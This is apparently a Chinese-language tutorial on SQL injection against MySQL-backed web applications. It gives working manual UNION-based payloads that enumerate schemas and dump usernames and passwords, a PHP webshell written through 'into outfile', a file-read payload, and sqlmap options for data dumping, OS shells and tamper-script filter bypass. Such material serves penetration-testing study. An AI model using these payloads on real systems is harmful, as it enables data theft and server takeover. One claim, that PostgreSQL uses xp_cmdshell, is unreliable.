SQL注入

admin
3
2025-06-03

SQL注入

SQL注入介绍

MYSQL基础

01、显示数据库 show databases;
02、打开数据库 use db_name;
03、显示数据表 show tables;
04、显示表结构 describe table_name;
05、显示表中各字段信息,即表结构 show columns from table_name;
06、显示表创建过程 show create table 表名;
07、列出当前mysql的相关状态信息 status;
08、删除数据库 drop database 数据库名;
09、清空数据表 delete from table_name; truncate table 
table_name;
10、删除数据表 drop table table_name
11、数据库连接 mysql –uroot -proot
12、数据库退出 exit

sql注入原理

SQL 注⼊漏洞的产⽣需要满⾜以下两个条件:

a. 参数是⽤户可控的,也就是前端传⼊后端的参数的内容是⽤户可以控制的;

b. 参数被带⼊数据库进⾏查询,也就是传⼊的参数被拼接到SQL语句中,并且被带⼊到数据库进⾏查询;

sql注入类型

按数据库类型:
Access、MsSQL、MySQL、Oracle、PostGreSQL、SQLite、MongoDB等;
按提交⽅式:
GET、POST、cookie、HTTP头、XFF;
按注⼊点类型:
数字型、字符型、搜索型;
按执⾏效果:
联合查询注⼊、报错注⼊、堆叠查询注⼊、时间盲注、布尔盲注;

sql注入危害

SQL注⼊攻击最⼤的两个危害是读取数据库信息与获取Webshell

数据库信息泄露:泄露数据库中存放的数据,⽤户隐私等;
获取webshell:当权限为root且知道绝对路径时,可以直接写⼊⼀句话⽊⻢到服务器
union select 1,"<?php @eval($_POST['cmd']);?>",3 into outfile "X:\\xx\\xx.php",
也可以查询null值;
⽹⻚篡改:注⼊出后台管理员⽤户,登录后台发布恶意数据、篡改后台数据等;
⽹站挂⻢:当拿到webshell或者获取到服务器权限后,可将⼀些⽹⻚⽊⻢挂在服务器上,
去攻击别⼈;
获取系统权限:当权限⾜够⾼时,可以获取系统主机的权限;
万能密码:利⽤特定的payload登录后台或其他⻚⾯;
⽂件读取:读取敏感⽂件
union select 1,2,hex(loadfile(D:\\phpStudy\\PHPTutorial\\WWW\\x.php))--+

SQL手工注入

GET联合查询注入流程

01、获取字段数 order by x
02、获取显示位 union select 1,2,3,4……
03、获取数据库信息   version(),user(),@@datadir
04、获取当前数据库   database(), schema() ,
05、获取所有数据库
06、获取数据库表
07、获取所有字段
08、获取数据

前置知识

逻辑运算符:and、or、!=
and:并且,前后两条语句必须全为真,才为真,否则为假。
1=1 and 2=2 真
1=1 and 1=2 假
or:或者,前后两条语句一条为真,就为真。
!=:不等于。
在sql语言中,and优先级大于or
--+ 注释符
-- 空格
#
limit 0,1 从你表中的第一个数据开始,只读取一个
order by     排序,判断字段数量,也就是表的列数
union select 联合查询,连接前面语句,起着合并查询的作用
group_concat 合并多行数据到一行
version()   当前数据库版本
database()   当前数据库
@@datadir   数据库数据路径
@@version_compile_os   操作系统版本

注入步骤

  1. 判断 SQL注入注入点

' " 
  1. 判断注入类型

数字型:
1 and 1=1    正确
1 and 1=2    报错
字符型
1' and '1'='1   正确
1' and '1'='2   报错
1' and 1=1-- -
1' and 1=2-- -
  1. 获取字段数

1' order by 3--+ 正常
1' order by 4--+ 报错
​
1' union select 1,2,3 --+     正常
1' union select 1,2,3,4 --+   报错
  1. 获取显示位

union select :将攻击者自定义的查询结果合并到原本查询结果中。联合查询,连接前后两条语句,合并查询的作用

version()、user()、@@datadir
-1' union select 1, version(),3--+
-1' union select 1, @@datadir,3--+
常用查询信息
database() # 在用的数据库名
user()    # 用户信息
version() # 数据库版本信息
@@basedir # 数据库安装路径
@@version_compile_os # 操作系统版本
  1. 获取数据库信息

为什么用-1?
因为数据库中有1的记录,那么会返回真实数值覆盖率union select的结果
而-1一般在数据库中没有,方便union数据独立回显
version()、user()、@@datadir
-1' union select 1, version(),3--+
-1' union select 1, @@datadir,3--+
  1. 获取当前数据库

-1' union select 1,database(),3--+
  1. 获取所有数据库

背景说明:information_schema.schemata是mysql的系统表,列出所有数据库,schema_name

-1' union select 1,group_concat(schema_name),3 from information_schema.schemata --+
  1. 获取数据库表

背景知识:mysql的元数据存在于infomation_schema中,包括所有的数据库,表,字段结构
现在知道了数据库名叫security,我们可以继续枚举信息
table_schema=''  限制查询的数据库
information_schema.tables  所有数据表

-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
  1. 获取表中所有字段

-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+

10.获取数据

-1' union select 1,concat_ws(':',username,password),3 from users limit 0,1 --+

sqlmap自动化注入

Target⽬标选项

参数

描述

-d

指定直接数据库连接得连接字符串,直接连接到数据库。

-u

指定URL⽬标

-l

从Burp或WebScarab代理得⽇志中解析⽬标

-m

扫描⽂本⽂件中给出的多个⽬标,批量扫描

-r

从⽂本中加载HTTP请求。* 标记注⼊位置

-g

将Google Dork得结果作为⽬标URL

Techniques⽅法

参数

描述

-a

获取所有信息

--current-user

获取DBMS当前⽤户

--current-db

获取DBMS当前数据库

--hostname

获取DBMS当前主机名

--is-dba

检测当前⽤户是否为管理员⽤户

--users

枚举DBMS⽤户

--passwords

枚举DBMS⽤户密码hash

--dbs

枚举DBMS数据库

--tables

枚举DBMS数据库中的表

--columns

枚举DBMS数据库表的列名

--dump

转储DBMS数据库表

--dump-all

转储DBMS所有数据库表

-D

指定要求枚举的DBMS数据库名

-T

指定要枚举的DBMS表

-C

指定要枚举的DBMS列

--batch

从不询问⽤户输⼊,使⽤所有默认配置

Request请求选项

参数

描述

--data=DATA

通过POST⽅式发送数据字符串

--cookie=COOKIE

HTTP Cookie头 LMXCMS演示

--proxy=PROXY

使⽤代理连接⽬标URL --proxy=" http://127.0.0.1:7891 "

--threads=THREADS

HTTP(s)最⼤并发请求数(默认是1)

--dbms=DBMS

强制指定后端DBMS

--tamper

使⽤给定得脚本修改注⼊数据

Detection探测选择

参数

描述

--level=LEVEL

测试等级(1-5,默认为1)

--risk=RISK

测试的⻛险等级(1-3,默认为1)

--technique=

来指定要使⽤哪种注⼊模式,快速扫描

# 漏洞探测等级
在SQLMap中, --level 参数⽤于指定攻击的检测强度或深度。它表示SQLMap将执⾏的测试种
类和数量。不同的级别控制SQLMap在⼀次注⼊检测中执⾏多少测试请求。 level 可以设置为1到
5,默认值为1。以下是各个级别的详细说明:
1. Level 1 (默认):
SQLMap仅执⾏最基本的测试,适⽤于快速检测显⽽易⻅的SQL注⼊漏洞。
这个级别适⽤于⾼效扫描,因为它执⾏的请求较少。
2. Level 2:
SQLMap会增加⼀些额外的注⼊测试,⽐如检测更多的HTTP参数,包括HTTP头中的参数
(如User-Agent, Referer等)。
检测的范围更⼴,但依然保持较为基础的检测。
3. Level 3:
SQLMap会进⼀步增加测试种类,检测更多的参数。
此时,它还会测试URL路径部分(即URL的各个部分)以及POST请求中更多的参数。
适合⽤于较为深⼊的扫描,可能会发出更多的HTTP请求。
4. Level 4:
SQLMap会进⼀步扩展检测范围,测试⼏乎所有可能的输⼊点。
包括更复杂的参数、隐藏的输⼊字段以及多种类型的HTTP请求(如不同的Content￾Type)。
5. Level 5:
SQLMap会对所有可能的参数执⾏全⾯的SQL注⼊测试。
包括⾼级的SQL注⼊攻击,测试POST、GET、Cookie、HTTP头、URL路径等所有输⼊
点。
这个级别适合需要最全⾯和深⼊的检测,但会发出⼤量请求,适合⽤于渗透测试环境⽽⾮⽣
产环境。

# 指定⻛险级别
在SQLMap中, --risk 参数⽤于指定SQL注⼊攻击的⻛险级别。不同的⻛险级别决定了SQLMap
将执⾏的攻击种类及其潜在的破坏性。⻛险级别可以设置为1到3,默认值为1。以下是各个级别的解
释:
1. Risk 1 (低⻛险):
这是SQLMap的默认⻛险级别。
SQLMap仅执⾏安全性较⾼的查询,避免破坏性操作。
适合⽤于⽣产环境中,避免对⽬标系统造成明显的影响或损害。
2. Risk 2 (中等⻛险):
SQLMap会执⾏⼀些可能影响数据库性能的查询。
例如,它可能执⾏时间较⻓的查询或更多的数据检索操作。
⻛险⽐Risk 1⾼,但仍尽量避免对⽬标系统造成严重损害。
3. Risk 3 (⾼⻛险):
SQLMap执⾏的查询可能对⽬标系统产⽣较⼤影响,甚⾄导致系统崩溃或数据丢失。
包括修改数据、执⾏堆叠查询(如删除表、插⼊数据等)。
适⽤于测试环境或⽬标系统允许破坏性测试的情况。

# 指定注⼊技术
在使⽤SQLMap进⾏SQL注⼊时,techniques(技术)指的是SQLMap⽤于检测和利⽤不同类型的
SQL注⼊漏洞的⽅式。SQLMap⽀持多种SQL注⼊技术,包括以下⼏种常⻅的技术:
1. Boolean-based blind (B):基于布尔值的盲注。这种技术通过发送不同的SQL语句来观察⽬标
返回⻚⾯的布尔值(true或false)来推测数据库中的数据,⽽不直接显示查询结果。
2. Time-based blind (T):基于时间的盲注。这种技术通过向数据库发送包含时间延迟的SQL查
询。如果⽬标数据库存在注⼊漏洞,它将通过响应时间的延迟来推测数据。
3. Error-based (E):基于错误信息的注⼊。这种技术依赖于⽬标数据库返回的错误信息,利⽤错
误信息中泄露的数据来构造进⼀步的注⼊。
4. Union query-based (U):基于Union查询的注⼊。通过使⽤ UNION SELECT 语句将恶意查询
与原始查询合并在⼀起,返回结果中包含攻击者请求的数据。
5. Stacked queries (S):堆叠查询注⼊。允许执⾏多个SQL语句。SQLMap使⽤这种技术来在数据
库中执⾏多个语句,如插⼊、更新、删除等操作。
6. Out-of-band (O):带外数据传输注⼊。SQLMap通过HTTP、DNS等带外通道与数据库进⾏通
信。这种⽅法通常在直接的HTTP响应中⽆法回显时使⽤。

拿shell的必要条件

  1. 知道⽹站的绝对路径

  2. ⾼权限数据库⽤户

  3. secure_file_priv=''⽆限制

访问文件系统

选项

描述

--file-read=D:/1.txt

从后端的数据库管理系统⽂件系统读取⽂件

--file-write=WFILE

编辑后端的数据库管理系统⽂件系统上的 本地⽂件

--file-dest=DFILE

后端的数据库管理系统写⼊⽂件的 绝对路径

权限操作-⽂件&命令&交互式

参数

描述

--os-cmd='whoami'

执⾏操作系统命令(OSCMD)

--os-shell

交互式的操作系统的shell

--priv-esc

数据库进程⽤户权限提升

--sql-shell

执⾏SQL语句

--file-write --file-dest

写⼊⽂件

--os-shell 的工作原理
1. SQL注⼊的利⽤:
⾸先,SQLMap会通过已识别的SQL注⼊漏洞与数据库交互。根据数据库类型(如MySQL、
PostgreSQL、MSSQL、Oracle等),它会使⽤不同的SQL查询⽅式来执⾏数据库层⾯的命
令。
2. 数据库的命令执⾏能⼒:
许多数据库系统允许执⾏操作系统级别的命令,特别是在⾼权限的数据库⽤户环境下。
SQLMap会尝试利⽤数据库提供的函数或命令来执⾏操作系统命令。例如:
MySQL:可以通过 sys_exec() 函数或者通过加载和调⽤本地共享库⽂件来执⾏命
令。
PostgreSQL:可以使⽤ COPY ... TO PROGRAM 或者 xp_cmdshell 来运⾏操作
系统命令。
MSSQL:可以直接使⽤ xp_cmdshell 来执⾏命令。
3. 获取命令执⾏权限:
如果SQLMap能够通过注⼊SQL语句在数据库上获得执⾏操作系统命令的权限,它将利⽤这
个能⼒启动⼀个交互式的命令⾏,允许攻击者输⼊系统命令并接收输出。
4. ⽣成或写⼊恶意⽂件:
SQLMap可能会通过⽂件写⼊功能,将恶意脚本(如PHP、ASP等)上传到⽬标服务器,以
便通过这些脚本进⼀步执⾏系统命令。这些脚本通常是WebShell,它们可以让攻击者远程执
⾏更多的命令或控制⽬标系统。
5. 交互式Shell:
⼀旦能够成功执⾏操作系统命令,SQLMap会提供⼀个交互式的 os-shell ,允许⽤户在
⽬标系统上输⼊命令并查看输出。你可以像在本地系统上⼀样与⽬标操作系统交互,执⾏系
统级别的操作。
1. SQL注⼊:通过SQLMap检测到的注⼊漏洞,攻击者能够与数据库进⾏交互。
2. 命令注⼊:通过数据库的功能,SQLMap尝试执⾏操作系统级别的命令。
3. 命令执⾏:SQLMap为攻击者提供⼀个交互式的命令⾏界⾯,允许他们在⽬标操作系统上执⾏命
令。

tamper绕过

使用方法:sqlmap -u [url] --tamper [模块名]

between.py

space2comment.py

space2dash.py

randomcase.py

charencode.py

base64encode.py

unmagicquotes.py

apostrophemask.py

equaltolike.py

unionalltounion.py

sqlmap -u "http://example.com/vuln.php?id=1" --tamper=space2comment.py,randomcase.py

动物装饰